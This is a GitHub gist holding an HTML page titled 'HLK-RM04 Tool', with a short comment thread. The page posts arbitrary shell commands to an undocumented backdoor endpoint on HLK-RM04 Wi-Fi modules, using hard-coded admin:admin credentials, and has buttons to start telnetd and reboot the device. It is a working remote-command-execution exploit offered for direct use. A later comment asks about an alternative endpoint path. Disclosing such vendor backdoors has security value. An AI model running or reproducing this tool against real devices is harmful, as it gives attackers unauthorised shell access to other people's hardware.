Skip to content

Instantly share code, notes, and snippets.

@jkent
Created June 10, 2013 12:02
Show Gist options
  • Star 7 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save jkent/5748249 to your computer and use it in GitHub Desktop.
Save jkent/5748249 to your computer and use it in GitHub Desktop.
Another backdoor for the rm04, need I say any more?
<html>
<head>
<title>HLK-RM04 Tool</title>
<style>
form {
display: inline;
}
</style>
</head>
<body>
<h1>HLK-RM04 Tool</h1>
<b>Shell command:</b><br />
<form action="http://admin:admin@192.168.16.254/goform/hlk34fge3360llf94wwq24" method="POST" target="frame">
<input type="text" name="command" size=40 /><input type="submit" value="Run" />
</form>
<hr />
<b>Quick actions:</b><br />
<form action="http://admin:admin@192.168.16.254/goform/hlk34fge3360llf94wwq24" method="POST" target="frame">
<input type="hidden" name="command" value="telnetd" /><input type="submit" value="Start telnetd" />
</form>
<form action="http://admin:admin@192.168.16.254/goform/hlk34fge3360llf94wwq24" method="POST" target="frame">
<input type="hidden" name="command" value="reboot" /><input type="submit" value="Reboot" />
</form>
<iframe src="about:blank" name="frame" width="0" height="0" frameborder="0"></iframe>
</body>
</html>
@QGB
Copy link

QGB commented Oct 22, 2022

hlk34fge3360llf94wwq24 404

how to find the url

http://192.168.88.254/cgi-bin/history.sh

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment